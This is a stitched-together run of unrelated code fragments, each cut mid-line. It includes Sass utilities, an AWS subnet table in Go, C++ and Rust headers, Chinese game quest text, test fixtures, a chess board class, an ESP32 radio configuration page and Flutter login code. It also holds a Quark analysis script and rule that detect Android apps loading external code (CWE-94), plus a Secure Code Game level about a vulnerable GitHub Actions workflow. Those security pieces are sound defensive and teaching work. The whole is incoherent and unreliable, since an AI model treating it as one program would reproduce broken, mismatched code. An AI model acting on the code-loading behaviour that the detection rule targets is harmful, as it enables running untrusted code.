    @if call($fn, $item) {
      $new-list: append($new-list, $item);
    }
  }
  @return $new-list;
}

@function _sum($acc, $curr) { @return $acc + $curr; }

@function sum($list) { @return _fn-reduce($list, _sum, 0); }

@function _pair-sum($pair) { @return nth($pair, 1) + nth($pair, 2); }

@function sum-of-pairs($list) {
  $list: _fn-apply($list, _pair-sum);
  @return sum($list);
}

// Get first element of the list
@function first($list) { @return nth($list, 1); }

// Get second element of the list
@function second($list) { @return nth($list, 2); }

// Get last element of the list
@function last($list) {@return nth($list, length($list)); }

// Get first n elements of the list
@function first-n($list, $n) {
  $new-list: ();
  @for $i from 1 through $n {
    $new-list: append($new-list, nth($list, $i), 'space');
  }
  @return $new-list;
}

// Get n-th character from string
@function _nth-char($string, $n) { @return str-slice($string, $n, $n); }

// Get cell width based on number of cells in a row ($n) and gutter width ($g)
@function _get-width($n, $g) {
  @return calc((100% - #{($n - 1) * $g}) / #{$n});
}

///
/// Parses a single row of string-based spec (in form of characters 'x', '-' and ' '),
/// giving chained syntax as output.
///
/// It currently has to receive a fictional second argument which is unused due to Sass
/// limitation of dynamically figuring out the number of arguments a function expects.
///
/// @param {String} $input - A string which represents the ASCII specification for a
/// single row of a grid. For example, `x-x-x x' or 'x   x'. Note that the string must be
/// quotes because it contains whitespaces (sometimes even several in a row, which is
/// important for constructing the grid). This information would be lost if the string
/// was unquoted.
///
/// @returns {List} A specification of the row in chained syntax.
///
/// @access private
///
/// @group internal
///
/// @author Lazar Ljubenović (lazarljubenovic)
///
/// @since 0.1.0
///
/// @example scss
///   $row: 'x x x';
///   parse-row($row, 0); // (1 0) (1 0) (1 0)
///                       // All elements have one "unit" width, and no offset from
///                       // the previous element.
///
/// @example scss
///   $row: 'x-x x';
///   parse-row($row, 0); // (2 0) (1 0)
///                       // The first element is two units, the second one unit.
///
/// @example scss
///   $row: 'x   x-x';
///   parse-row($row, 0); // (1 0) (2 1)
///                       // The first element is one unit. The second element is two
///                       // units, offset by one unit from the previous element.
///
@function _parse-row($input) {

  @if str-length($input) == 0 {
    @error 'Parsing empty string';
    @return ();
  }

  $span-acc: 0; // accumulated value of how much the element is wide
  $offset-acc: 0; // accumulated value of how much the element is offset from


{
			Hydrate: listVpcSubnets,
			Tags:    map[string]string{"service": "ec2", "action": "DescribeSubnets"},
			KeyColumns: []*plugin.KeyColumn{
				{Name: "availability_zone", Require: plugin.Optional},
				{Name: "availability_zone_id", Require: plugin.Optional},
				{Name: "available_ip_address_count", Require: plugin.Optional},
				{Name: "cidr_block", Require: plugin.Optional},
				{Name: "default_for_az", Require: plugin.Optional},
				{Name: "outpost_arn", Require: plugin.Optional},
				{Name: "owner_id", Require: plugin.Optional},
				{Name: "state", Require: plugin.Optional},
				{Name: "subnet_arn", Require: plugin.Optional},
				{Name: "vpc_id", Require: plugin.Optional},
			},
		},
		GetMatrixItemFunc: SupportedRegionMatrix(AWS_EC2_SERVICE_ID),
		Columns: awsRegionalColumns([]*plugin.Column{
			{
				Name:        "subnet_id",
				Description: "Contains the unique ID to specify a subnet.",
				Type:        proto.ColumnType_STRING,
			},
			{
				Name:        "subnet_arn",
				Description: "Contains the Amazon Resource Name (ARN) of the subnet.",
				Type:        proto.ColumnType_STRING,
			},
			{
				Name:        "vpc_id",
				Description: "ID of the VPC, the subnet is in.",
				Type:        proto.ColumnType_STRING,
			},
			{
				Name:        "cidr_block",
				Description: "Contains the IPv4 CIDR block assigned to the subnet.",
				Type:        proto.ColumnType_CIDR,
			},
			{
				Name:        "state",
				Description: "Current state of the subnet.",
				Type:        proto.ColumnType_STRING,
			},
			{
				Name:        "owner_id",
				Description: "Contains the AWS account that own the subnet.",
				Type:        proto.ColumnType_STRING,
			},
			{
				Name:        "assign_ipv6_address_on_creation",
				Description: "Indicates whether a network interface created in this subnet (including a network interface created by RunInstances) receives an IPv6 address.",
				Type:        proto.ColumnType_BOOL,
			},
			{
				Name:        "available_ip_address_count",
				Description: "The number of unused private IPv4 addresses in the subnet. The IPv4 addresses for any stopped instances are considered unavailable.",
				Type:        proto.ColumnType_INT,
			},
			{
				Name:        "availability_zone",
				Description: "The Availability Zone of the subnet.",
				Type:        proto.ColumnType_STRING,
			},
			{
				Name:        "availability_zone_id",
				Description: "The AZ ID of the subnet.",
				Type:        proto.ColumnType_STRING,
			},
			{
				Name:        "customer_owned_ipv4_pool",
				Description: "The customer-owned IPv4 address pool associated with the subnet.",
				Type:        proto.ColumnType_STRING,
			},
			{
				Name:        "default_for_az",
				Description: "Indicates whether this is the default subnet for the Availability Zone.",
				Type:        proto.ColumnType_BOOL,
			},
			{
				Name:        "map_customer_owned_ip_on_launch",
				Description: "Indicates whether a network interface created in this subnet (including a network interface created by RunInstances) receives a customer-owned IPv4 address.",
				Type:        proto.ColumnType_BOOL,
			},
			{
				Name:        "map_public_ip_on_launch",
				Description: "Indicates whether


   \
        _Pragma ("GCC visibility pop")
#  endif /* ACE_GCC_HAS_TEMPLATE_INSTANTIATION_VISIBILITY_ATTRS */

// Note that the "__extension__" is needed to prevent g++ from issuing
// an error when using its "-pedantic" command line flag.
# define ACE_IMPORT_SINGLETON_DECLARATION(T) __extension__ extern template class T
# define ACE_IMPORT_SINGLETON_DECLARE(SINGLETON_TYPE, CLASS, LOCK) __extension__ extern template class SINGLETON_TYPE<CLASS, LOCK>;

# endif  /* ACE_HAS_CUSTOM_EXPORT_MACROS == 0 */
#endif  /* !__MINGW32__ */

#if defined (ACE_HAS_THREADS)
# if defined (__powerpc__)
// The builtins seem to be provided for all powerpc platforms
#   define ACE_HAS_GCC_ATOMIC_BUILTINS 1
# endif
# if defined (__ia64)
// The builtins seem to be provided for the IA64 platforms
#   define ACE_HAS_GCC_ATOMIC_BUILTINS 1
# endif
# if defined (__amd64__) || defined (__x86_64__)
// The builtin's are provided also for 64bit linux
#   define ACE_HAS_GCC_ATOMIC_BUILTINS 1
# endif
#endif /* ACE_HAS_THREADS */

#define ACE_GCC_NO_RETURN __attribute__ ((__noreturn__))

#include /**/ "ace/post.h"
#endif /* ACE_GNUG_COMMON_H */


解开这道迷题！";
		   ["name"] = "科泰罗的谜题";
		};
		[626] = {
		   ["objective"] = "解开这道迷题！";
		   ["name"] = "科泰罗的谜题";
		};
		[627] = {
		   ["objective"] = "给藏宝海岸的克拉兹克带去4块次级血石矿。";
		   ["name"] = "克拉兹克的要求";
		};
		[628] = {
		   ["objective"] = "给藏宝海湾的崔斯里克带回1张老鳄鱼的皮。";
		   ["name"] = "刨花皮靴";
		};
		[629] = {
		   ["objective"] = "给格罗姆高营地里的肯维雷带回一块石板碎片。";
		   ["name"] = "暗礁海";
		};
		[630] = {
		   ["objective"] = "杀死穆克拉并带着钥匙回去救出普巴尔公主。";
		   ["name"] = "瓶中信";
		};
		[631] = {
		   ["objective"] = "拉格·加玛森要求你找到老伊本瑟。";
		   ["name"] = "萨多尔大桥";
		};
		[632] = {
		   ["objective"] = "向拉格·加玛森回报，并将你在伊本瑟尸体上找到的羊皮纸交给他看看。";
		   ["name"] = "萨多尔大桥";
		};
		[633] = {
		   ["objective"] = "摧毁堆积的炸药。";
		   ["name"] = "萨多尔大桥";
		};
		[634] = {
		   ["objective"] = "去避难谷地找到尼艾丝队长。";
		   ["name"] = "请求援助";
		};
		[635] = {
		   ["objective"] = "找到你在幻觉中看到的那块水晶。";
		   ["name"] = "山中的水晶";
		};
		[636] = {
		   ["objective"] = "找到密斯莱尔水晶碎块。";
		   ["name"] = "大地公主的传说";
		};
		[637] = {
		   ["objective"] = "把苏利·巴鲁的信交给铁炉堡的萨拉·巴鲁。";
		   ["name"] = "苏利·巴鲁的信";
		};
		[638] = {
		   ["objective"] = "前往阿拉希高地的落锤镇，与森谷谈一谈。";
		   ["name"] = "巨魔之敌";
		};
		[639] = {
		   ["objective"] = "帮落锤村的森古拿回激流堡符印。";
		   ["name"] = "激流堡符印";
		};
		[640] = {
		   ["obje


        name: 'Bayview house chat',
        receiversCount: 990,
    },
]

const INCORRECT_GET_RECIPIENTS_RESULT_BAD_ID = [
    {
        // Correct
        id: '2313',
        name: 'Bayview house chat',
        receiversCount: 990,
    },
    {
        // Does not have ID
        name: 'Bayview house chat',
        receiversCount: 990,
    },
    {
        // Correct
        id: '2313',
        name: 'Bayview house chat',
        receiversCount: 990,
    },
]

const INCORRECT_GET_RECIPIENTS_RESULT_OTHER_FIELDS = [
    {
        // Correct
        id: '2313',
        name: 'Bayview house chat',
        receiversCount: 990,
    },
    {
        // Correct
        id: '2313',
        name: 'Bayview house chat',
        receiversCount: 990,
    },
    {
        // Has other fields
        name: 'Bayview house chat',
        receiversCount: 990,
        recipients: '{}',
    },
]

class NewsSharingTestingApp {
    prepareMiddleware () {
        // this route can not be used for csrf attack (because no cookies and tokens are used in a public route)
        // nosemgrep: javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage
        const app = express()

        // Publish
        app.post(SUCCESS_PUBLISH_URL, async (req, res) => {
            res.status(200).send('OK')
        })

        app.post(FAULTY_PUBLISH_URL_500, async(req, res) => { res.status(500).send({}) })

        // Preview
        app.get(SUCCESS_PREVIEW_URL, async (req, res) => {
            res.status(200).send('OK')
        })

        // GetRecipients
        app.get(SUCCESS_GET_RECIPIENTS_URL, async (req, res) => {
            res.json(SUCCESS_GET_RECIPIENTS_RESULT)
        })

        app.get(INCORRECT_GET_RECIPIENTS_URL_BAD_ID, async (req, res) => {
            res.status(200).send(INCORRECT_GET_RECIPIENTS_RESULT_BAD_ID)
        })

        app.get(INCORRECT_GET_RECIPIENTS_URL_BAD_NAME, async (req, res) => {
            res.status(200).send(INCORRECT_GET_RECIPIENTS_RESULT_BAD_NAME)
        })

        app.get(INCORRECT_GET_RECIPIENTS_URL_OTHER_FIELDS, async (req, res) => {
            res.status(200).send(INCORRECT_GET_RECIPIENTS_RESULT_OTHER_FIELDS)
        })

        app.get(INCORRECT_GET_RECIPIENTS_RESULT_URL_WRONG_RETURN_TYPE, async (req, res) => {
            res.status(200).send(INCORRECT_GET_RECIPIENTS_RESULT_WRONG_RETURN_TYPE)
        })

        app.get(FAULTY_GET_RECIPIENTS_URL_500, async (req, res) => {
            res.status(500).send({})
        })

        app.get(FAULTY_GET_RECIPIENTS_URL_404, async (req, res) => {
            res.status(404).send({})
        })

        // GetRecipientsCounters
        app.post(SUCCESS_GET_RECIPIENTS_COUNTERS_URL, async (req, res) => {
            res.json(SUCCESS_GET_RECIPIENTS_COUNTERS_RESULT)
        })

        app.p


 {}
}

export class Update implements Action {
  readonly type = ReferentielActionTypes.UPDATE;
  constructor(public oldValue: IReferentiel, public payload: IReferentiel) {}
}

export class Delete implements Action {
  readonly type = ReferentielActionTypes.DELETE;
  constructor(public payload: IReferentiel) {}
}

export type ReferentielActions = Load | Add | Update | Delete;
import { TileCollection } from './tilecollection';
import { Piece } from './objects/piece';
import { Pawn } from './objects/pawn';
import { Rook } from './objects/rook';
import { Knight } from './objects/knight';
import { Bishop } from './objects/bishop';
import { Queen } from './objects/queen';
import { King } from './objects/king';
import { Tile } from './objects/tile';
import { Move } from './objects/move';
import { Team } from './objects/enums';

export class Grid {
    Tiles: TileCollection;

    constructor() {
        this.Tiles = new TileCollection(8, 8);
        let piece: Piece = null;

        for (var x = 0; x < 8; x++) {
            for (var y = 0; y < 8; y++) {
                const tile: Tile = this.Tiles.GetTile(x, y);

                tile.Up = this.Tiles.GetTile(x, y - 1);
                tile.Left = this.Tiles.GetTile(x - 1, y);
                tile.Down = this.Tiles.GetTile(x, y + 1);
                tile.Right = this.Tiles.GetTile(x + 1, y);

                if (x == 0) {
                    if (y == 0 || y == 7) {
                        piece = new Rook(Team.Black);
                    } else if (y == 1 || y == 6) {
                        piece = new Knight(Team.Black);
                    } else if (y == 2 || y == 5) {
                        piece = new Bishop(Team.Black);
                    } else if (y == 3) {
                        piece = new King(Team.Black);
                    } else {
                        piece = new Queen(Team.Black);
                    }
                } else if (x == 1 || x == 6) {
                    if (x == 1) {
                        piece = new Pawn(Team.Black);
                    } else {
                        piece = new Pawn(Team.White);
                    }
                } else if (x == 7) {
                    if (y == 0 || y == 7) {
                        piece = new Rook(Team.White);
                    } else if (y == 1 || y == 6) {
                        piece = new Knight(Team.White);
                    } else if (y == 2 || y == 5) {
                        piece = new Bishop(Team.White);
                    } else if (y == 3) {
                        piece = new King(Team.White);
                    } else {
                        piece = new Queen(Team.White);
                    }
                }

                tile.Occupant = piece;

                if (piece) {
                    piece.CurrentTile = tile;
                }
            }
        }
    }

    public MovePiece(src: Tile, dest: Tile): void {
        if (!src.Occupant) {
            return;
        } else {
            const piece = src.Occupant;
            const move = new Move(src, dest, piece);
            piece.DoMove(move);
        }
    }
}const BASE_URL = process.env.REACT_APP_API_URL as string

export interface Request extends RequestInit {
  endpoint: string
  data?: unknown
  method?: 'GET' | 'POST' | 'PUT' | 'PATCH' | 'DELETE'
  retry?: number
}

export default async function client(request: Request):


4, 0x3d, 0x28, 0xf7)]
interface ISecurityProfileAddIn(ISecurityProfileAddInVtbl): IDispatch(IDispatchVtbl) {
    fn get_Name(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_Name(
        pVal: BSTR,
    ) -> HRESULT,
    fn get_AddInHash(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_AddInHash(
        pVal: BSTR,
    ) -> HRESULT,
    fn get_Descr(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_Descr(
        pVal: BSTR,
    ) -> HRESULT,
}}
pub type LPSECURITYPROFILEADDIN = *mut ISecurityProfileAddIn;

RIDL! {#[uuid(0x594f531e, 0x5767, 0x45ba, 0x87, 0x85, 0xc0, 0xbb, 0x5d, 0x2a, 0x45, 0x7e)]
interface ISecurityProfileExternalModule(ISecurityProfileExternalModuleVtbl): IDispatch(IDispatchVtbl) {
    fn get_Name(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_Name(
        pVal: BSTR,
    ) -> HRESULT,
    fn get_ExternalModuleHash(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_ExternalModuleHash(
        pVal: BSTR,
    ) -> HRESULT,
    fn get_Descr(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_Descr(
        pVal: BSTR,
    ) -> HRESULT,
}}
pub type LPSECURITYPROFILEEXTERNALMODULE = *mut ISecurityProfileExternalModule;

RIDL! {#[uuid(0x2629138f, 0x448d, 0x4cf9, 0xb6, 0xd3, 0x94, 0x23, 0x82, 0x6f, 0xc1, 0xd7)]
interface ISecurityProfileApplication(ISecurityProfileApplicationVtbl): IDispatch(IDispatchVtbl) {
    fn get_Name(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_Name(
        pVal: BSTR,
    ) -> HRESULT,
    fn get_CommandMask(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_CommandMask(
        pVal: BSTR,
    ) -> HRESULT,
    fn get_Descr(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_Descr(
        pVal: BSTR,
    ) -> HRESULT,
}}
pub type LPSECURITYPROFILEAPPLICATION = *mut ISecurityProfileApplication;

RIDL! {#[uuid(0xc7c0e781, 0x11f3, 0x4d69, 0x9a, 0x93, 0xce, 0xdb, 0x43, 0x9b, 0x9b, 0xd0)]
interface ISecurityProfileInternetResource(ISecurityProfileInternetResourceVtbl): IDispatch(IDispatchVtbl) {
    fn get_Name(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_Name(
        pVal: BSTR,
    ) -> HRESULT,
    fn get_Address(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn put_Address(
        pVal: BSTR,
    ) -> HRESULT,
    fn get_Port(
        pVal: *mut INT,
    ) -> HRESULT,
    fn put_Port(
        pVal: INT,
    ) -> HRESULT,
    fn get_Protocol(
        pVal: *mut BSTR,
    ) -> HRESULT,
    fn p


 DNSZone in network to populate zoneName.
	// +kubebuilder:validation:Optional
	ZoneNameSelector *v1.NamespacedSelector `json:"zoneNameSelector,omitempty" tf:"-"`
}

type DNSSRVRecordRecordInitParameters struct {

	// Port the service is listening on.
	Port *float64 `json:"port,omitempty" tf:"port,omitempty"`

	// Priority of the SRV record.
	Priority *float64 `json:"priority,omitempty" tf:"priority,omitempty"`

	// FQDN of the service.
	Target *string `json:"target,omitempty" tf:"target,omitempty"`

	// Weight of the SRV record.
	Weight *float64 `json:"weight,omitempty" tf:"weight,omitempty"`
}

type DNSSRVRecordRecordObservation struct {

	// Port the service is listening on.
	Port *float64 `json:"port,omitempty" tf:"port,omitempty"`

	// Priority of the SRV record.
	Priority *float64 `json:"priority,omitempty" tf:"priority,omitempty"`

	// FQDN of the service.
	Target *string `json:"target,omitempty" tf:"target,omitempty"`

	// Weight of the SRV record.
	Weight *float64 `json:"weight,omitempty" tf:"weight,omitempty"`
}

type DNSSRVRecordRecordParameters struct {

	// Port the service is listening on.
	// +kubebuilder:validation:Optional
	Port *float64 `json:"port" tf:"port,omitempty"`

	// Priority of the SRV record.
	// +kubebuilder:validation:Optional
	Priority *float64 `json:"priority" tf:"priority,omitempty"`

	// FQDN of the service.
	// +kubebuilder:validation:Optional
	Target *string `json:"target" tf:"target,omitempty"`

	// Weight of the SRV record.
	// +kubebuilder:validation:Optional
	Weight *float64 `json:"weight" tf:"weight,omitempty"`
}

// DNSSRVRecordSpec defines the desired state of DNSSRVRecord
type DNSSRVRecordSpec struct {
	v2.ManagedResourceSpec `json:",inline"`
	ForProvider            DNSSRVRecordParameters `json:"forProvider"`
	// THIS IS A BETA FIELD. It will be honored
	// unless the Management Policies feature flag is disabled.
	// InitProvider holds the same fields as ForProvider, with the exception
	// of Identifier and other resource reference fields. The fields that are
	// in InitProvider are merged into ForProvider when the resource is created.
	// The same fields are also added to the terraform ignore_changes hook, to
	// avoid updating them after creation. This is useful for fields that are
	// required on creation, but we do not desire to update them after creation,
	// for example because of an external controller is managing them, like an
	// autoscaler.
	InitProvider DNSSRVRecordInitParameters `json:"initProvider,omitempty"`
}

// DNSSRVRecordStatus defines the observed state of DNSSRVRecord.
type DNSSRVRecordStatus struct {
	v1.ResourceStatus `json:",inline"`
	AtProvider        DNSSRVRecordObservation `json:"atProvider,omitempty"`
}

// +kubebuilder:object:root=true
// +kubebuilder:subresource:status
// +kubebuilder:storageversion

// DNSSRVRecord is the Schema for the DNSSRVRecords API. Manages a DNS SRV Record.
// +kubebuilder:printcolumn:name="SYNCED",type="string",JSONPath=".status.conditions[?(@.type=='Synced')].status"
// +kubebuilder:printcolumn:name="READY",type="string",JSONPath=".status.conditions[?(@.type=='Ready')].status"
// +kubebuilder:printcolumn:name="


_PARAM_ERROR(13024),
    /**
     * RET_UGC_DUNGEON_SCORE_SETTLE_TARGET_SCORE_ZERO = 13025;
     */
    RET_UGC_DUNGEON_SCORE_SETTLE_TARGET_SCORE_ZERO(13025),
    /**
     * RET_UGC_DUNGEON_STATE_CAN_NOT_AUDIT = 13026;
     */
    RET_UGC_DUNGEON_STATE_CAN_NOT_AUDIT(13026),
    /**
     * RET_UGC_DUNGEON_AUDIT_VERSION_NOT_MATCH = 13027;
     */
    RET_UGC_DUNGEON_AUDIT_VERSION_NOT_MATCH(13027),
    /**
     * RET_UGC_DUNGEON_IN_AUDIT = 13028;
     */
    RET_UGC_DUNGEON_IN_AUDIT(13028),
    /**
     * RET_UGC_DUNGEON_STATE_CAN_NOT_PUBLISH = 13029;
     */
    RET_UGC_DUNGEON_STATE_CAN_NOT_PUBLISH(13029),
    /**
     * RET_UGC_DUNGEON_REQUEST_TOO_FREQUENT = 13030;
     */
    RET_UGC_DUNGEON_REQUEST_TOO_FREQUENT(13030),
    /**
     * RET_UGC_DUNGEON_CAN_NOT_PUBLISH_NO_EDIT = 13031;
     */
    RET_UGC_DUNGEON_CAN_NOT_PUBLISH_NO_EDIT(13031),
    /**
     * RET_UGC_DUNGEON_NOT_ALLOW_IMPORT = 13032;
     */
    RET_UGC_DUNGEON_NOT_ALLOW_IMPORT(13032),
    /**
     * RET_UGC_DUNGEON_IMPORT_ROOM_HAS_MONSTER = 13033;
     */
    RET_UGC_DUNGEON_IMPORT_ROOM_HAS_MONSTER(13033),
    /**
     * RET_UGC_DUNGEON_SEARCH_NOT_EXIST = 13034;
     */
    RET_UGC_DUNGEON_SEARCH_NOT_EXIST(13034),
    /**
     * RET_UGC_DUNGEON_ROOM_SWITCH_LAST_ROOM = 13035;
     */
    RET_UGC_DUNGEON_ROOM_SWITCH_LAST_ROOM(13035),
    /**
     * RET_UGC_DUNGEON_ROOM_GADGET_NUM_LIMIT = 13036;
     */
    RET_UGC_DUNGEON_ROOM_GADGET_NUM_LIMIT(13036),
    /**
     * RET_UGC_DUNGEON_ROOM_MONSTER_NUM_LIMIT = 13037;
     */
    RET_UGC_DUNGEON_ROOM_MONSTER_NUM_LIMIT(13037),
    /**
     * RET_UGC_DUNGEON_NO_TRIAL_SUCC_RECORD = 13038;
     */
    RET_UGC_DUNGEON_NO_TRIAL_SUCC_RECORD(13038),
    /**
     * RET_UGC_DUNGEON_NUM_LIMIT = 13039;
     */
    RET_UGC_DUNGEON_NUM_LIMIT(13039),
    /**
     * RET_UGC_DUNGEON_IN_EDIT_DUNGEON = 13040;
     */
    RET_UGC_DUNGEON_IN_EDIT_DUNGEON(13040),
    /**
     * RET_UG


const char RXConfig[] PROGMEM = R"=====(

    <title>RAW RX Config</title>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">

  <input type='checkbox' id='responsive-menu' onclick='updatemenu()'>

Home

Config

RAW TX Config

Binary TX Config

RX Config

Button TX Config

RX Log

RX Logs

Delete Logs

<FORM action="/setrx" method="post" id="config" target="iframe">

Module:

    <select name="module" form="config" id="styledSelect1">
       <option value="1">Module 1</option>
       <option value="2">Module 2</option>
    </select>

Modulation:

    <select name="mod" form="config" id="styledSelect1">
       <option value="0">2-FSK</option>
       <option value="1">GFSK</option>
       <option value="2">ASK/OOK</option>
       <option value="3">4-FSK</option>
       <option value="4">MSK</option>
    </select>

Frequency:
<textarea class="css-input-text" form="config" rows="1" cols="50" name="frequency"></textarea>

RxBW:
<textarea class="css-input-text" form="config" rows="1" cols="50" name="setrxbw"></textarea>

Deviation:
<textarea class="css-input-text" form="config" rows="1" cols="50" name="deviation"></textarea>

Data Rate:
<textarea class="css-input-text" form="config" rows="1" cols="50" name="datarate"></textarea>

    <INPUT type="radio" name="configmodule" value="4" hidden="1" checked="checked">
    <INPUT class="button-submit" type="submit" value="Apply">
</form>

)=====";


Caller(callerMethod, targetMethod):
        print(f"Method: {targetMethod[1]} not found!")
        print(f"CWE-94 is detected in {SAMPLE_PATH}")
```

## Quark Rule: loadExternalCode.json

![image](https://imgur.com/IHENeJx.jpg)

```json
{
    "crime": "Load external code from other APK.",
    "permission": [],
    "api": [
        {
            "descriptor": "(Ljava/lang/String;I)Landroid/content/Context;",
            "class": "",
            "method": "createPackageContext"
        },
        {
            "descriptor": "(Ljava/lang/String;)Ljava/lang/Class;",
            "class": "Ljava/lang/ClassLoader;",
            "method": "loadClass"
        }
    ],
    "score": 1,
    "label": []
}
```

## Quark Script Result

```TEXT
$ python3 CWE-94.py
Method: checkSignatures not found!
CWE-94 is detected in ovaa.apk
```
# Secure Code Game

_Welcome to Secure Code Game - Season 2!_ :wave:

To get started, please follow the 🛠 set up guide (if you haven't already) from the [welcome page](https://gh.io/securecodegame).

## Season 2 - Level 1: Jarvis Gone Wrong

_Welcome to Level 1!_ :robot:

Languages: `yaml` for `GitHub Actions`

### 🚀 Credits

The author of this level is Deniz Onur Duzgun [@dduzgun-security](https://github.com/dduzgun-security).

You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).

### 📝 Storyline

Jarvis, your trusty geek who gets really excited with automating everything, has some tips for you. He has been experimenting lately with GitHub Actions and made several great additions to our CI/CD pipeline. Among other useful additions, he suggested that it would be helpful for our project team to be getting the [GitHub status page](https://www.githubstatus.com/api/v2/status.json). What can go wrong? Do you have what it takes to fix the bug and progress to Level 2?

### :keyboard: What's in the repo?

- `code` normally includes the vulnerable code to be reviewed. For this level, due to the nature of `GitHub Actions`, this file is referencing `.github/workflows/jarvis-code.yml`.
- `hack` exploits the vulnerabilities in `code`. For this level, this file is referencing `.github/workflows/jarvis-hack.yml`. Initially, it fails ❌ upon pushing and the only requirement for you to reach the next level is to get this file to pass 🟢.
- `hint` files offer guidance if you get stuck. We provide 2 hints for this level.
- `solution` offers a working solution. Remember, there are several possible solutions.

### 🚦 Time to start!

1. Review the code inside `.github/workflows/jarvis-code.yml`. Can you spot the bug(s)?
1. Fix the bug and push your solution so that `GitHub Actions` can run.
1. You successfully completed this level when `.github/workflows/jarvis-hack.yml` passes 🟢.
1. If you get stuck, read the hint in `hint-1.txt` and try again.
1. If you need more guidance, read the hint in `hint-2.txt` and try again.
1. Compare your solution with `solution.yml`. Remember, there are several possible solutions.

If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://join.slack.com/t/ghsecuritylab/shared_invite/zt-2afhxkndc-3ZGRV1i2UMvCZ0DtXgqaQw) in the [#secure


,
                    labelColor: Colors.black,
                    unselectedLabelColor: Colors.grey[400],
                  ),
                  views: [

                    Padding(
                      padding: const EdgeInsets.only(top: 8.0),
                      child: UserPubText(canal: widget.canal,),
                      // child: HashTagHomeView(),
                    ),
                    Padding(
                      padding: const EdgeInsets.only(top: 8.0),
                      // child: UserPubImage(),
                      child: PostPhotoEditor(canal: widget.canal,),
                    ),
                    // Padding(
                    //     padding: const EdgeInsets.only(top: 8.0),
                    //     child: UserPubVideo()),
                  ],
                  onChange: (index) => printVm(index),
                ),
              ),

            ],
          ),

        ),
      ),
    );
  }
}

import 'package:afrotok/pages/auth/update_pass_word/confirm_verification_otp.dart';
import 'package:awesome_dialog/awesome_dialog.dart';
import 'package:firebase_auth/firebase_auth.dart';
import 'package:flutter/material.dart';
import 'package:intl_phone_field/intl_phone_field.dart';
import 'package:provider/provider.dart';

import '../../../providers/authProvider.dart';
import '../authTest/Screens/Signup/function.dart';
import '../authTest/Screens/Signup/verificationOtps.dart';
import '../authTest/constants.dart';

class ConfirmUser extends StatefulWidget {
  const ConfirmUser({Key? key}) : super(key: key);

  @override
  State<ConfirmUser> createState() => _ConfirmUserState();
}

class _ConfirmUserState extends State<ConfirmUser> {
  bool onTap=false;
  final TextEditingController telephoneController = TextEditingController();
  final TextEditingController emailController = TextEditingController();
  late UserAuthProvider authProvider =
  Provider.of<UserAuthProvider>(context, listen: false);
  showErrorDialog(BuildContext context,String text) {
    AwesomeDialog(
      context: context,
      animType: AnimType.leftSlide,
      headerAnimationLoop: true,
      dialogType: DialogType.error,
      showCloseIcon: true,
      title: "Envoi code SMS",
      desc:
      text,
      btnCancelOnPress: () {
        debugPrint('OnClcik');
      },
      btnOkIcon: Icons.error,
      onDismissCallback: (type) {
        debugPrint('Dialog Dissmiss from callback $type');
      },
    ).show();

  }

  void
  sendOtpCode() {
    onTap = true;
    setState(() {});
    final _auth = FirebaseAuth.instance;
    if (telephoneController.text.isNotEmpty) {

      // notData=false;

      authWithPhoneNumber(telephoneController.text!, onCodeSend: (verificationId, v) {
        onTap = false;
        setState(() {});
        Navigator.of(context).push(MaterialPageRoute(
            builder: (c) => ConfirmVerificationOtp(
              verificationId: verificationId,
              phoneNumber: telephoneController.text!,
            )));
      }, onAutoVerify: (v) async {
        await _auth.signInWithCredential(v);

        Navigator.of(context).pop();
      },  onFailed: (e) {
        onTap = false;
        setState(() {});
        var errorMessage = "An error occurred";
        switch (e.code) {
          case 'invalid-phone-number':
            errorMessage = 'Le numéro de téléphone saisi est invalide.';
            break;
          case 'too-many-requests':
            errorMessage = 'Vous avez fait trop de demandes. Veuillez réessayer plus tard.';
            break;
          default:
            errorMessage = 'Une erreur inconnue est survenue. Veuillez réessayer plus tard';
        //errorMessage =


      + "\ud83d\udf00\ud83d\udf73"
        + "\ud840\udc00\ud869\uded6"
        + "\ud869\udf00\ud86d\udf34"
        + "\ud86d\udf40\ud86e\udc1d"
        + "\ud87e\udc00\ud87e\ude1d"
        + "\udb40\udc01\udb40\udc01"
        + "\udb40\udc20\udb40\udc7f"
        + "\udb40\udd00\udb40\uddef"
        + "\udb80\udc00\udbbf\udffd"
        + "\udbc0\udc00\udbff\udffd",
    // Unicode 6.2 property value: {graphemebase}
    "\u0020\u007e"
        + "\u00a0\u00ac"
        + "\u00ae\u02ff"
        + "\u0370\u0377"
        + "\u037a\u037e"
        + "\u0384\u038a"
        + "\u038c\u038c"
        + "\u038e\u03a1"
        + "\u03a3\u0482"
        + "\u048a\u0527"
        + "\u0531\u0556"
        + "\u0559\u055f"
        + "\u0561\u0587"
        + "\u0589\u058a"
        + "\u058f\u058f"
        + "\u05be\u05be"
        + "\u05c0\u05c0"
        + "\u05c3\u05c3"
        + "\u05c6\u05c6"
        + "\u05d0\u05ea"
        + "\u05f0\u05f4"
        + "\u0606\u060f"
        + "\u061b\u061b"
        + "\u061e\u064a"
        + "\u0660\u066f"
        + "\u0671\u06d5"
        + "\u06de\u06de"
        + "\u06e5\u06e6"
        + "\u06e9\u06e9"
        + "\u06ee\u070d"
        + "\u0710\u0710"
        + "\u0712\u072f"
        + "\u074d\u07a5"
        + "\u07b1\u07b1"
        + "\u07c0\u07ea"
        + "\u07f4\u07fa"
        + "\u0800\u0815"
        + "\u081a\u081a"
        + "\u0824\u0824"
        + "\u0828\u0828"
        + "\u0830\u083e"
        + "\u0840\u0858"
        + "\u085e\u085e"
        + "\u08a0\u08a0"
        + "\u08a2\u08ac"
        + "\u0903\u0939"
        + "\u093b\u093b"
        + "\u093d\u0940"
        + "\u0949\u094c"
